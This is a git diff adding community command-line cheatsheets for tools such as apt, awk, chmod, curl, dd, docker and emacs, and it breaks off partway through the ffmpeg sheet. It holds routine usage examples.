diff --git a/.github/README.md b/.github/README.md new file mode 100644 index 0000000..3b17283 --- /dev/null +++ b/.github/README.md @@ -0,0 +1,26 @@ +cheatsheets +=========== +This repository contains community-sourced cheatsheets to be used with +[cheat][] and similar applications. + +### Format ### +Cheatsheets are plain-text files that begin with an optional "front matter" +header in YAML format. The header may be used to assign "tags" to a sheet, and +to specify the sheet's syntax (`bash`, `python`, `go`, etc). + +When possible, cheatsheets should conform to this format: + +```sh +--- +syntax: bash +tags: [ vcs, development ] +--- +# To stage all changes in the current directory: +git add --all + +# To commit staged changes: +git commit -m "chore: updated the README" +``` + + +[cheat]: https://github.com/cheat/cheat diff --git a/7z b/7z new file mode 100644 index 0000000..26321c0 --- /dev/null +++ b/7z @@ -0,0 +1,29 @@ +7z +A file archiver with highest compression ratio + +Args: +a add +d delete +e extract +l list +t test +u update +x extract with full paths + +Example: +7z a -t7z -m0=lzma -mx=9 -mfb=64 -md=32m -ms=on archive.7z dir1 + +-t7z 7z archive +-m0=lzma lzma method +-mx=9 level of compression = 9 (ultra) +-mfb=64 number of fast bytes for lzma = 64 +-md=32m dictionary size = 32 Mb +-ms=on solid archive = on + +7z exit codes: +0 normal (no errors or warnings) +1 warning (non-fatal errors) +2 fatal error +7 bad cli arguments +8 not enough memory for operation +255 process was interrupted diff --git a/ab b/ab new file mode 100644 index 0000000..60943c5 --- /dev/null +++ b/ab @@ -0,0 +1,5 @@ +# send 100 requests with a concurency of 50 requests to an URL +ab -n 100 -c 50 http://www.example.com/ + +# send requests during 30 seconds with a concurency of 50 requests to an URL +ab -t 30 -c 50 URL http://www.example.com/ diff --git a/alias b/alias new file mode 100644 index 0000000..9bd98c1 --- /dev/null +++ b/alias @@ -0,0 +1,5 @@ +# Show a list of your current shell aliases +alias + +# Map `ll` to `ls -l` (Can be used per session or put inside a shell config file) +alias ll='ls -l' diff --git a/ansi b/ansi new file mode 100644 index 0000000..bb5a8b0 --- /dev/null +++ b/ansi @@ -0,0 +1,72 @@ +# Reset +Color_Off='\e[0m' # Text Reset + +# Regular Colors +Black='\e[0;30m' # Black +Red='\e[0;31m' # Red +Green='\e[0;32m' # Green +Yellow='\e[0;33m' # Yellow +Blue='\e[0;34m' # Blue +Purple='\e[0;35m' # Purple +Cyan='\e[0;36m' # Cyan +White='\e[0;37m' # White + +# Bold +BBlack='\e[1;30m' # Black +BRed='\e[1;31m' # Red +BGreen='\e[1;32m' # Green +BYellow='\e[1;33m' # Yellow +BBlue='\e[1;34m' # Blue +BPurple='\e[1;35m' # Purple +BCyan='\e[1;36m' # Cyan +BWhite='\e[1;37m' # White + +# Underline +UBlack='\e[4;30m' # Black +URed='\e[4;31m' # Red +UGreen='\e[4;32m' # Green +UYellow='\e[4;33m' # Yellow +UBlue='\e[4;34m' # Blue +UPurple='\e[4;35m' # Purple +UCyan='\e[4;36m' # Cyan +UWhite='\e[4;37m' # White + +# Background +On_Black='\e[40m' # Black +On_Red='\e[41m' # Red +On_Green='\e[42m' # Green +On_Yellow='\e[43m' # Yellow +On_Blue='\e[44m' # Blue +On_Purple='\e[45m' # Purple +On_Cyan='\e[46m' # Cyan +On_White='\e[47m' # White + +# High Intensity +IBlack='\e[0;90m' # Black +IRed='\e[0;91m' # Red +IGreen='\e[0;92m' # Green +IYellow='\e[0;93m' # Yellow +IBlue='\e[0;94m' # Blue +IPurple='\e[0;95m' # Purple +ICyan='\e[0;96m' # Cyan +IWhite='\e[0;97m' # White + +# Bold High Intensity +BIBlack='\e[1;90m' # Black +BIRed='\e[1;91m' # Red +BIGreen='\e[1;92m' # Green +BIYellow='\e[1;93m' # Yellow +BIBlue='\e[1;94m' # Blue +BIPurple='\e[1;95m' # Purple +BICyan='\e[1;96m' # Cyan +BIWhite='\e[1;97m' # White + +# High Intensity backgrounds +On_IBlack='\e[0;100m' # Black +On_IRed='\e[0;101m' # Red +On_IGreen='\e[0;102m' # Green +On_IYellow='\e[0;103m' # Yellow +On_IBlue='\e[0;104m' # Blue +On_IPurple='\e[0;105m' # Purple +On_ICyan='\e[0;106m' # Cyan +On_IWhite='\e[0;107m' # White diff --git a/apk b/apk new file mode 100644 index 0000000..1d50596 --- /dev/null +++ b/apk @@ -0,0 +1,14 @@ +# Install a package +apk add $package + +# Remove a package +apk del $package + +# Update repos +apk update + +# Upgrade all packages +apk upgrade + +# Find a package +apk search $package diff --git a/apparmor b/apparmor new file mode 100644 index 0000000..3e6d337 --- /dev/null +++ b/apparmor @@ -0,0 +1,18 @@ +# Desc: Apparmor will protect the system by confining programs to a limited set of resources. + +# To activate a profile: +sudo aa-enforce usr.bin.firefox +# OR +export _PROFILE_='usr.bin.firefox' sudo $(rm /etc/apparmor.d/disable/$_PROFILE_ ; cat /etc/apparmor.d/$_PROFILE_ | apparmor_parser -a ) + +# TO disable a profile: +sudo aa-disable usr.bin.firefox +# OR +export _PROFILE_='usr.bin.firefox' sudo $(ln -s /etc/apparmor.d/$_PROFILE_ /etc/apparmor.d/disable/ && apparmor_parser -R /etc/apparmor.d/$_PROFILE_) + +# To list profiles loaded: +sudo aa-status +# OR +sudo apparmor_status + +# List of profiles aviables: /etc/apparmor.d/ diff --git a/apt b/apt new file mode 100644 index 0000000..07ae3f4 --- /dev/null +++ b/apt @@ -0,0 +1,23 @@ +# To search a package: +apt search package + +# To show package informations: +apt show package + +# To fetch package list: +apt update + +# To download and install updates without installing new package: +apt upgrade + +# To download and install the updates AND install new necessary packages: +apt dist-upgrade + +# Full command: +apt update && apt dist-upgrade + +# To install a new package(s): +apt install package(s) + +# To uninstall package(s) +apt remove package(s) diff --git a/apt-cache b/apt-cache new file mode 100644 index 0000000..6d34ef6 --- /dev/null +++ b/apt-cache @@ -0,0 +1,12 @@ +# To search for apt packages: +apt-cache search "whatever" + +# To display package records for the named package(s): +apt-cache show pkg(s) + +# To display reverse dependencies of a package +apt-cache rdepends package_name + +# To display package versions, reverse dependencies and forward dependencies +# of a package +apt-cache showpkg package_name diff --git a/apt-get b/apt-get new file mode 100644 index 0000000..b0347ce --- /dev/null +++ b/apt-get @@ -0,0 +1,28 @@ +# Desc: Allows to update the operating system + +# To fetch package list +apt-get update + +# To download and install updates without installing new package. +apt-get upgrade + +# To download and install the updates AND install new necessary packages +apt-get dist-upgrade + +# Full command: +apt-get update && apt-get dist-upgrade + +# To install a new package(s) +apt-get install package(s) + +# Download a package without installing it. (The package will be downloaded in your current working dir) +apt-get download modsecurity-crs + +# Change Cache dir and archive dir (where .deb are stored). +apt-get -o Dir::Cache="/path/to/destination/dir/" -o Dir::Cache::archives="./" install ... + +# Show apt-get installed packages. +grep 'install ' /var/log/dpkg.log + +# Silently keep old configuration during batch updates +apt-get update -o DPkg::Options::='--force-confold' ... diff --git a/aptitude b/aptitude new file mode 100644 index 0000000..a837979 --- /dev/null +++ b/aptitude @@ -0,0 +1,15 @@ +# To search for packages: +aptitude search "whatever" + +# To display package records for the named package(s): +aptitude show pkg(s) + +# To install a package: +aptitude install package + +# To remove a package: +aptitude remove package + +# To remove unnecessary package: +aptitude autoclean + diff --git a/aria2c b/aria2c new file mode 100644 index 0000000..265e0b3 --- /dev/null +++ b/aria2c @@ -0,0 +1,12 @@ +# Just download a file +# The url can be a http(s), ftp, .torrent file or even a magnet link +aria2c + +# To prevent downloading the .torrent file +aria2c --follow-torrent=mem + +# Download 1 file at a time (-j) +# continuing (-c) any partially downloaded ones +# to the directory specified (-d) +# reading urls from the file (-i) +aria2c -j 1 -c -d ~/Downloads -i /path/to/file diff --git a/asciiart b/asciiart new file mode 100644 index 0000000..5656e3d --- /dev/null +++ b/asciiart @@ -0,0 +1,22 @@ +# To show some text in ASCII Art: + +figlet Cheat +# ____ _ _ +# / ___| |__ ___ __ _| |_ +#| | | '_ \ / _ \/ _` | __| +#| |___| | | | __/ (_| | |_ +# \____|_| |_|\___|\__,_|\__| +# + + +# To have some text with color and other options: +# Show with a border +toilet -F border Cheat +# Basic show (filled) +toilet Cheat +# mmm # m +# m" " # mm mmm mmm mm#mm +# # #" # #" # " # # +# # # # #"""" m"""# # +# "mmm" # # "#mm" "mm"# "mm +# diff --git a/asterisk b/asterisk new file mode 100644 index 0000000..df2c02b --- /dev/null +++ b/asterisk @@ -0,0 +1,17 @@ +# To connect to a running Asterisk session: +asterisk -rvvv + +# To issue a command to Asterisk from the shell: +asterisk -rx "" + +# To originate an echo call from a SIP trunk on an Asterisk server, to a specified number: +asterisk -rx "channel originate SIP// application echo" + +# To print out the details of SIP accounts: +asterisk -rx "sip show peers" + +# To print out the passwords of SIP accounts: +asterisk -rx "sip show users" + +# To print out the current active channels: +asterisk -rx "core show channels" diff --git a/at b/at new file mode 100644 index 0000000..2827a45 --- /dev/null +++ b/at @@ -0,0 +1,17 @@ +# To schedule a one time task +at {time} +{command 0} +{command 1} +Ctrl-d + +# {time} can be either +now | midnight | noon | teatime (4pm) +HH:MM +now + N {minutes | hours | days | weeks} +MM/DD/YY + +# To list pending jobs +atq + +# To remove a job (use id from atq) +atrm {id} diff --git a/awk b/awk new file mode 100644 index 0000000..14d07de --- /dev/null +++ b/awk @@ -0,0 +1,11 @@ +# sum integers from a file or stdin, one integer per line: +printf '1\n2\n3\n' | awk '{ sum += $1} END {print sum}' + +# using specific character as separator to sum integers from a file or stdin +printf '1:2:3' | awk -F ":" '{print $1+$2+$3}' + +# print a multiplication table +seq 9 | sed 'H;g' | awk -v RS='' '{for(i=1;i<=NF;i++)printf("%dx%d=%d%s", i, NR, i*NR, i==NR?"\n":"\t")}' + +# Specify output separator character +printf '1 2 3' | awk 'BEGIN {OFS=":"}; {print $1,$2,$3}' diff --git a/bash b/bash new file mode 100644 index 0000000..571b3ca --- /dev/null +++ b/bash @@ -0,0 +1,27 @@ +# To implement a for loop: +for file in *; +do + echo $file found; +done + +# To implement a case command: +case "$1" +in + 0) echo "zero found";; + 1) echo "one found";; + 2) echo "two found";; + 3*) echo "something beginning with 3 found";; +esac + +# Turn on debugging: +set -x + +# Turn off debugging: +set +x + +# Retrieve N-th piped command exit status +printf 'foo' | fgrep 'foo' | sed 's/foo/bar/' +echo ${PIPESTATUS[0]} # replace 0 with N + +# Lock file: +( set -o noclobber; echo > my.lock ) || echo 'Failed to create lock file' diff --git a/bower b/bower new file mode 100644 index 0000000..da29ebd --- /dev/null +++ b/bower @@ -0,0 +1,26 @@ +# Install a package locally +bower install + +# Install a package locally directly from github +bower install / + +# Install a specific package locally +bower install # + +# Install a package locally and save installed package into bower.json +bower install --save + +# Retrieve info of a particular package +bower info + +# List local packages +bower list + +# Search for a package by name +bower search + +# Update a package to their newest version +bower update + +# Remove a local package +bower uninstall diff --git a/bzip2 b/bzip2 new file mode 100644 index 0000000..4003a50 --- /dev/null +++ b/bzip2 @@ -0,0 +1,11 @@ +# compress foo -> foo.bz2 +bzip2 -z foo + +# decompress foo.bz2 -> foo +bzip2 -d foo.bz2 + +# compress foo to stdout +bzip2 -zc foo > foo.bz2 + +# decompress foo.bz2 to stdout +bzip2 -dc foo.bz2 diff --git a/cat b/cat new file mode 100644 index 0000000..69a25d0 --- /dev/null +++ b/cat @@ -0,0 +1,8 @@ +# Display the contents of a file +cat /path/to/foo + +# Display contents with line numbers +cat -n /path/to/foo + +# Display contents with line numbers (blank lines excluded) +cat -b /path/to/foo diff --git a/cd b/cd new file mode 100644 index 0000000..d07a168 --- /dev/null +++ b/cd @@ -0,0 +1,11 @@ +#Go to the given directory +cd path/to/directory + +#Go to home directory of current user +cd + +#Go up to the parent of the current directory +cd .. + +#Go to the previously chosen directory +cd - diff --git a/cheat b/cheat new file mode 100644 index 0000000..0bfb78d --- /dev/null +++ b/cheat @@ -0,0 +1,14 @@ +# To see example usage of a program: +cheat + +# To edit a cheatsheet +cheat -e + +# To list available cheatsheets +cheat -l + +# To search available cheatsheets +cheat -s + +# To get the current `cheat' version +cheat -v diff --git a/chmod b/chmod new file mode 100644 index 0000000..31c5eb7 --- /dev/null +++ b/chmod @@ -0,0 +1,36 @@ +# Add execute for all (myscript.sh) +chmod a+x myscript.sh + +# Set user to read/write/execute, group/global to read only (myscript.sh), symbolic mode +chmod u=rwx, go=r myscript.sh + +# Remove write from user/group/global (myscript.sh), symbolic mode +chmod a-w myscript.sh + +# Remove read/write/execute from user/group/global (myscript.sh), symbolic mode +chmod = myscript.sh + +# Set user to read/write and group/global read (myscript.sh), octal notation +chmod 644 myscript.sh + +# Set user to read/write/execute and group/global read/execute (myscript.sh), octal notation +chmod 755 myscript.sh + +# Set user/group/global to read/write (myscript.sh), octal notation +chmod 666 myscript.sh + +# Roles +u - user (owner of the file) +g - group (members of file's group) +o - global (all users who are not owner and not part of group) +a - all (all 3 roles above) + +# Numeric representations +7 - full (rwx) +6 - read and write (rw-) +5 - read and execute (r-x) +4 - read only (r--) +3 - write and execute (-wx) +2 - write only (-w-) +1 - execute only (--x) +0 - none (---) diff --git a/chown b/chown new file mode 100644 index 0000000..f831459 --- /dev/null +++ b/chown @@ -0,0 +1,11 @@ +# Change file owner +chown user file + +# Change file owner and group +chown user:group file + +# Change owner recursively +chown -R user directory + +# Change ownership to match another file +chown --reference=/path/to/ref_file file diff --git a/convert b/convert new file mode 100644 index 0000000..1472f4a --- /dev/null +++ b/convert @@ -0,0 +1,19 @@ +# To resize an image to a fixed width and proportional height: +convert original-image.jpg -resize 100x converted-image.jpg + +# To resize an image to a fixed height and proportional width: +convert original-image.jpg -resize x100 converted-image.jpg + +# To resize an image to a fixed width and height: +convert original-image.jpg -resize 100x100 converted-image.jpg + +# To resize an image and simultaneously change its file type: +convert original-image.jpg -resize 100x converted-image.png + +# To resize all of the images within a directory: +# To implement a for loop: +for file in `ls original/image/path/`; + do new_path=${file%.*}; + new_file=`basename $new_path`; + convert $file -resize 150 converted/image/path/$new_file.png; +done diff --git a/cp b/cp new file mode 100644 index 0000000..7003e2c --- /dev/null +++ b/cp @@ -0,0 +1,11 @@ +# Create a copy of a file +cp ~/Desktop/foo.txt ~/Downloads/foo.txt + +# Create a copy of a directory +cp -r ~/Desktop/cruise_pics/ ~/Pictures/ + +# Create a copy but ask to overwrite if the destination file already exists +cp -i ~/Desktop/foo.txt ~/Documents/foo.txt + +# Create a backup file with date +cp foo.txt{,."$(date +%Y%m%d-%H%M%S)"} diff --git a/cpdf b/cpdf new file mode 100644 index 0000000..61c7243 --- /dev/null +++ b/cpdf @@ -0,0 +1,132 @@ +# Read in.pdf, select pages 1, 2, 3 and 6, and write those pages to +# out.pdf +cpdf in.pdf 1-3,6 -o out.pdf + +# Select the even pages (2, 4, 6...) from in.pdf and write those pages +# to out.pdf +cpdf in.pdf even -o out.pdf + +# Using AND to perform several operations in order, here merging two +# files together and adding a copyright stamp to every page. +cpdf -merge in.pdf in2.pdf AND -add-text "Copyright 2014" -o out.pdf + +# Read control.txt and use its contents as the command line arguments +# for cpdf. +cpdf -control control.txt + +# Merge in.pdf and in2.pdf into one document, writing to out.pdf. +cpdf -merge in.pdf in2.pdf -o out.pdf + +# Split in.pdf into ten-page chunks, writing them to Chunk001.pdf, +# Chunk002.pdf etc +cpdf -split in.pdf -o Chunk%%%.pdf -chunk 10 + +# Split in.pdf on bookmark boundaries, writing each to a file whose +# name is the bookmark label +cpdf -split-bookmarks 0 in.pdf -o @N.pdf + +# Scale both the dimensions and contents of in.pdf by a factor of two +# in x and y directions. +cpdf -scale-page "2 2" in.pdf -o out.pdf + +# Scale the pages in in.pdf to fit the US Letter page size, writing to +# out.pdf +cpdf -scale-to-fit usletterportrait in.pdf -o out.pdf + +# Shift the contents of the page by 26 pts in the x direction, and 18 +# millimetres in the y direction, writing to out.pdf +cpdf -shift "26pt 18mm" in.pdf -o out.pdf + +# Rotate the contents of the pages in in.pdf by ninety degrees and +# write to out.pdf. +cpdf -rotate-contents 90 in.pdf -o out.pdf + +# Crop the pages in in.pdf to a 600 pts by 400 pts rectangle. +cpdf -crop "0 0 600pt 400pt" in.pdf -o out.pdf + +# Encrypt using 128bit PDF encryption using the owner password 'fred' +# and the user password 'joe' +cpdf -encrypt 128bit fred joe in.pdf -o out.pdf + +# Decrypt using the owner password, writing to out.pdf. +cpdf -decrypt in.pdf owner=fred -o out.pdf + +# Compress the data streams in in.pdf, writing the result to out.pdf. +cpdf -compress in.pdf -o out.pdf + +# Decompress the data streams in in.pdf, writing to out.pdf. +cpdf -decompress in.pdf -o out.pdf + +# List the bookmarks in in.pdf. This would produce: +cpdf -list-bookmarks in.pdf + +# Outputs: + +# Add bookmarks in the same form from a prepared file bookmarks.txt to +# in.pdf, writing to out.pdf. +cpdf -add-bookmarks bookmarks.txt in.pdf -o out.pdf + +# Use the Split style to build a presentation from the PDF in.pdf, +# each slide staying 10 seconds on screen unless manually advanced. +# The first page, being a title does not move on automatically, and +# has no transition effect. +cpdf -presentation in.pdf 2-end -trans Split -duration 10 -o out.pdf + +# Stamp the file watermark.pdf on to each page of in.pdf, writing the +# result to out.pdf. +cpdf -stamp-on watermark.pdf in.pdf -o out.pdf + +# Add a page number and date to all the pages in in.pdf using the +# Courier font, writing to out.pdf +cpdf -topleft 10 -font Courier -add-text "Page %Page\nDate %d-%m-%Y" in.pdf -o out.pdf + +# Two up impose the file in.pdf, writing to out.pdf +cpdf -twoup-stack in.pdf -o out.pdf + +# Add extra blank pages after pages one, three and four of a document. +cpdf -pad-after 1,3,4 in.pdf -o out.pdf + +# List the annotations in a file in.pdf to standard output. +cpdf -list-annotations in.pdf + +# Might Produce: + +# -- # Annotation text content 1 # -- # -- # Annotation text content 2 +# -- + +# Copy the annotations from from.pdf to in.pdf, writing to out.pdf. +cpdf -copy-annotations from.pdf in.pdf -o out.pdf + +# Set the document title of in.pdf. writing to out.pdf. +cpdf -set-title "The New Title" in.pdf -o out.pdf + +# Set the document in.pdf to open with the Acrobat Viewer's toolbar +# hidden, writing to out.pdf. +cpdf -hide-toolbar true in.pdf -o out.pdf + +# Set the metadata in a PDF in.pdf to the contents of the file +# metadata.xml, and write the output to out.pdf. +cpdf -set-metadata metadata.xml in.pdf -o out.pdf + +# Set the document in.pdf to open in Acrobat Viewer showing two +# columns of pages, starting on the right, putting the result in +# out.pdf. +cpdf -set-page-layout TwoColumnRight in.pdf -o out.pdf + +# Set the document in.pdf to open in Acrobat Viewer in full screen +# mode, putting the result in out.pdf. +cpdf -set-page-mode FullScreen in.pdf -o out.pdf + +# Attach the file sheet.xls to in.pdf, writing to out.pdf. +cpdf -attach-file sheet.xls in.pdf -o out.pdf + +# Remove any attachments from in.pdf, writing to out.pdf. +cpdf -remove-files in.pdf -o out.pdf + +# Blacken all the text in in.pdf, writing to out.pdf. +cpdf -blacktext in.pdf -o out.pdf + +# Make sure all lines in in.pdf are at least 2 pts wide, writing to +# out.pdf. +cpdf -thinlines 2pt in.pdf -o out.pdf + diff --git a/crontab b/crontab new file mode 100644 index 0000000..6ddb6b6 --- /dev/null +++ b/crontab @@ -0,0 +1,22 @@ +# set a shell +SHELL=/bin/bash + +# crontab format +* * * * * command_to_execute +- - - - - +| | | | | +| | | | +- day of week (0 - 7) (where sunday is 0 and 7) +| | | +--- month (1 - 12) +| | +----- day (1 - 31) +| +------- hour (0 - 23) ++--------- minute (0 - 59) + +# example entries +# every 15 min +*/15 * * * * /home/user/command.sh + +# every midnight +0 0 * * * /home/user/command.sh + +# every Saturday at 8:05 AM +5 8 * * 6 /home/user/command.sh diff --git a/cryptsetup b/cryptsetup new file mode 100644 index 0000000..1f773a9 --- /dev/null +++ b/cryptsetup @@ -0,0 +1,8 @@ +# open encrypted partition /dev/sdb1 (reachable at /dev/mapper/backup) +cryptsetup open --type luks /dev/sdb1 backup + +# open encrypted partition /dev/sdb1 using a keyfile (reachable at /dev/mapper/hdd) +cryptsetup open --type luks --key-file hdd.key /dev/sdb1 hdd + +# close luks container at /dev/mapper/hdd +cryptsetup close hdd diff --git a/csplit b/csplit new file mode 100644 index 0000000..6d7d8ef --- /dev/null +++ b/csplit @@ -0,0 +1,5 @@ +# Split a file based on pattern +csplit input.file '/PATTERN/' + +# Use prefix/suffix to improve resulting file names +csplit -f 'prefix-' -b '%d.extension' input.file '/PATTERN/' '{*}' diff --git a/cups b/cups new file mode 100644 index 0000000..b1b7924 --- /dev/null +++ b/cups @@ -0,0 +1,22 @@ +# Manage printers through CUPS: +http://localhost:631 (in web browser) + +# Print file from command line +lp myfile.txt + +# Display print queue +lpq + +# Remove print job from queue +lprm 545 +or +lprm - + +# Print log location +/var/log/cups + +# Reject new jobs +cupsreject printername + +# Accept new jobs +cupsaccept printername diff --git a/curl b/curl new file mode 100644 index 0000000..c7bc8de --- /dev/null +++ b/curl @@ -0,0 +1,41 @@ +# Download a single file +curl http://path.to.the/file + +# Download a file and specify a new filename +curl http://example.com/file.zip -o new_file.zip + +# Download multiple files +curl -O URLOfFirstFile -O URLOfSecondFile + +# Download all sequentially numbered files (1-24) +curl http://example.com/pic[1-24].jpg + +# Download a file and pass HTTP Authentication +curl -u username:password URL + +# Download a file with a Proxy +curl -x proxysever.server.com:PORT http://addressiwantto.access + +# Download a file from FTP +curl -u username:password -O ftp://example.com/pub/file.zip + +# Get an FTP directory listing +curl ftp://username:password@example.com + +# Resume a previously failed download +curl -C - -o partial_file.zip http://example.com/file.zip + +# Fetch only the HTTP headers from a response +curl -I http://example.com + +# Fetch your external IP and network info as JSON +curl http://ifconfig.me/all.json + +# Limit the rate of a download +curl --limit-rate 1000B -O http://path.to.the/file + +# Get your global IP +curl httpbin.org/ip + +# Get only the HTTP status code +curl -o /dev/null -w '%{http_code}\n' -s -I URL diff --git a/cut b/cut new file mode 100644 index 0000000..1e7939f --- /dev/null +++ b/cut @@ -0,0 +1,2 @@ +# To cut out the third field of text or stdoutput that is delimited by a #: +cut -d# -f3 diff --git a/date b/date new file mode 100644 index 0000000..036887e --- /dev/null +++ b/date @@ -0,0 +1,8 @@ +# Print date in format suitable for affixing to file names +date +"%Y%m%d_%H%M%S" + +# Convert Unix timestamp to Date(Linux) +date -d @1440359821 + +# Convert Unix timestamp to Date(Mac) +date -r 1440359821 diff --git a/dd b/dd new file mode 100644 index 0000000..88d7f4a --- /dev/null +++ b/dd @@ -0,0 +1,22 @@ +# Read from {/dev/urandom} 2*512 Bytes and put it into {/tmp/test.txt} +# Note: At the first iteration, we read 512 Bytes. +# Note: At the second iteration, we read 512 Bytes. +dd if=/dev/urandom of=/tmp/test.txt count=2 bs=512 + +# Watch the progress of 'dd' +dd if=/dev/zero of=/dev/null bs=4KB &; export dd_pid=`pgrep '^dd'`; while [[ -d /proc/$dd_pid ]]; do kill -USR1 $dd_pid && sleep 1 && clear; done + +# Watch the progress of 'dd' with `pv` and `dialog` (apt-get install pv dialog) +(pv -n /dev/zero | dd of=/dev/null bs=128M conv=notrunc,noerror) 2>&1 | dialog --gauge "Running dd command (cloning), please wait..." 10 70 0 + +# Watch the progress of 'dd' with `pv` and `zenity` (apt-get install pv zenity) +(pv -n /dev/zero | dd of=/dev/null bs=128M conv=notrunc,noerror) 2>&1 | zenity --title 'Running dd command (cloning), please wait...' --progress + +# Watch the progress of 'dd' with the built-in `progress` functionality (introduced in coreutils v8.24) +dd if=/dev/zero of=/dev/null bs=128M status=progress + +# DD with "graphical" return +dcfldd if=/dev/zero of=/dev/null bs=500K + +# This will output the sound from your microphone port to the ssh target computer's speaker port. The sound quality is very bad, so you will hear a lot of hissing. +dd if=/dev/dsp | ssh -c arcfour -C username@host dd of=/dev/dsp diff --git a/deb b/deb new file mode 100644 index 0000000..f2e5d9d --- /dev/null +++ b/deb @@ -0,0 +1,7 @@ +# Extract contents of a .deb file +$ ar vx foo.deb # -> data.tar.gz +$ tar xf data.tar.gz + +# Install .deb file to a debian like system, e.g. ubuntu +$ sudo dpkg -i foo.deb +$ sudo apt-get install -f diff --git a/df b/df new file mode 100644 index 0000000..c91f6e4 --- /dev/null +++ b/df @@ -0,0 +1,2 @@ +# Printout disk free space in a human readable format +df -h diff --git a/dhclient b/dhclient new file mode 100644 index 0000000..1e2ee60 --- /dev/null +++ b/dhclient @@ -0,0 +1,10 @@ +# To release the current IP address: +sudo dhclient -r + +# To obtain a new IP address: +sudo dhclient + +# Running the above in sequence is a common way of refreshing an IP. + +# To obtain a new IP address for a specific interface: +sudo dhclient eth0 diff --git a/diff b/diff new file mode 100644 index 0000000..f998808 --- /dev/null +++ b/diff @@ -0,0 +1,26 @@ +# To view the differences between two files: +diff -u version1 version2 + +# To view the differences between two directories: +diff -ur folder1/ folder2/ + +# To ignore the white spaces: +diff -ub version1 version2 + +# To ignore the blank lines: +diff -uB version1 version2 + +# To ignore the differences between uppercase and lowercase: +diff -ui version1 version2 + +# To report whether the files differ: +diff -q version1 version2 + +# To report whether the files are identical: +diff -s version1 version2 + +# To diff the output of two commands or scripts: +diff <(command1) <(command2) + +# Generate a patch file from two files +diff -Naur version1 version2 > version.patch diff --git a/distcc b/distcc new file mode 100644 index 0000000..2564761 --- /dev/null +++ b/distcc @@ -0,0 +1,29 @@ +# INSTALL +# ============================================================================== +# Edit /etc/default/distcc and set theses vars +# STARTDISTCC="true" +# ALLOWEDNETS="127.0.0.1 192.168.1.0/24"# Your computer and local computers +# #LISTENER="127.0.0.1"# Comment it +# ZEROCONF="true"# Auto configuration + +# REMEMBER 1: +# Start/Restart your distccd servers before using one of these commands. +# service distccd start + +# REMEMBER 2: +# Do not forget to install on each machine DISTCC. +# No need to install libs ! Only main host need libs ! + +# USAGE +# ============================================================================== + +# Run make with 4 thread (a cross network) in auto configuration. +# Note: for gcc, Replace CXX by CC and g++ by gcc +ZEROCONF='+zeroconf' make -j4 CXX='distcc g++' + +# Run make with 4 thread (a cross network) in static configuration (2 ip) +# Note: for gcc, Replace CXX by CC and g++ by gcc +DISTCC_HOSTS='127.0.0.1 192.168.1.69' make -j4 CXX='distcc g++' + +# Show hosts aviables +ZEROCONF='+zeroconf' distcc --show-hosts diff --git a/dnf b/dnf new file mode 100644 index 0000000..10c3766 --- /dev/null +++ b/dnf @@ -0,0 +1,16 @@ +# To install the latest version of a package: +dnf install + +# To search package details for the given string +dnf search + +# To find which package provides a binary +dnf provides + +# The following are available after installing "dnf-plugins-core" + +# Download a package +dnf download + +# install the build dependencies for a SRPM or from a .spec file +dnf builddep diff --git a/docker b/docker new file mode 100644 index 0000000..6224d7b --- /dev/null +++ b/docker @@ -0,0 +1,32 @@ +# Start docker daemon +docker -d + +# start a container with an interactive shell +docker run -ti /bin/bash + +# "shell" into a running container (docker-1.3+) +docker exec -ti bash + +# inspect a running container +docker inspect (or ) + +# Get the process ID for a container +# Source: https://github.com/jpetazzo/nsenter +docker inspect --format {{.State.Pid}} + +# List the current mounted volumes for a container (and pretty print) +# Source: +# http://nathanleclaire.com/blog/2014/07/12/10-docker-tips-and-tricks-that-will-make-you-sing-a-whale-song-of-joy/ +docker inspect --format='{{json .Volumes}}' | python -mjson.tool + +# Copy files/folders between a container and your host +docker cp foo.txt mycontainer:/foo.txt + +# list currently running containers +docker ps + +# list all containers +docker ps -a + +# list all images +docker images diff --git a/dpkg b/dpkg new file mode 100644 index 0000000..8117e98 --- /dev/null +++ b/dpkg @@ -0,0 +1,11 @@ +# Install the package or upgrade it +dpkg -i test.deb + +# Remove a package including configuration files +dpkg -P test.deb + +# List all installed packages with versions and details +dpkg -l + +# Find out if a Debian package is installed or not +dpkg -s test.deb | grep Status diff --git a/du b/du new file mode 100644 index 0000000..57b6ac3 --- /dev/null +++ b/du @@ -0,0 +1,5 @@ +# To sort directories/files by size +du -sk *| sort -rn + +# To show cumulative humanreadable size +du -sh diff --git a/emacs b/emacs new file mode 100644 index 0000000..88f3f6e --- /dev/null +++ b/emacs @@ -0,0 +1,64 @@ +# Running emacs + + GUI mode $ emacs + Terminal mode $ emacs -nw + +# Basic usage + + Indent Select text then press TAB + Cut C-w + Copy M-w + Paste ("yank") C-y + Begin selection C-SPACE + Search/Find C-s + Replace M-% (M-SHIFT-5) + Save C-x C-s + Save as C-x C-w + Load/Open C-x C-f + Undo C-x u + Highlight all text C-x h + Directory listing C-x d + Cancel a command C-g + Font size bigger C-x C-+ + Font size smaller C-x C-- + +# Buffers + + Split screen vertically C-x 2 + Split screen vertically with 5 row height C-u 5 C-x 2 + Split screen horizontally C-x 3 + Split screen horizontally with 24 column width C-u 24 C-x 3 + Revert to single screen C-x 1 + Hide the current screen C-x 0 + Move to the next screen C-x o + Kill the current buffer C-x k + Select a buffer C-x b + Run command in the scratch buffer C-x C-e + +# Navigation ( backward / forward ) + + Character-wise C-b , C-f + Word-wise M-b , M-f + Line-wise C-p , C-n + Sentence-wise M-a , M-e + Paragraph-wise M-{ , M-} + Function-wise C-M-a , C-M-e + Line beginning / end C-a , C-e + +# Other stuff + + Open a shell M-x eshell + Goto a line number M-x goto-line + Word wrap M-x toggle-word-wrap + Spell checking M-x flyspell-mode + Line numbers M-x linum-mode + Toggle line wrap M-x visual-line-mode + Compile some code M-x compile + List packages M-x package-list-packages + +# Line numbers + + To add line numbers and enable moving to a line with C-l: + + (global-set-key "\C-l" 'goto-line) + (add-hook 'find-file-hook (lambda () (linum-mode 1))) diff --git a/export b/export new file mode 100644 index 0000000..14d3d71 --- /dev/null +++ b/export @@ -0,0 +1,5 @@ +# Calling export with no arguments will show current shell attributes +export + +# Create new environment variable +export VARNAME="value" diff --git a/ffmpeg b/ffmpeg new file mode 100644 index 0000000..daa7a68 --- /dev/null +++ b/ffmpeg @@ -0,0 +1,23 @@ +# Print file metadata etc. +ffmpeg -i path/to/file.ext + +# Convert all m4a files to mp3 +for f in *.m4a; do ffmpeg -i "$f" -acodec libmp3lame -vn -b:a 320k "${f%.m4a}.mp3"; done + +# Convert video from .foo to .bar +# -g : GOP, for searchability +ffmpeg -i input.foo -vcodec bar 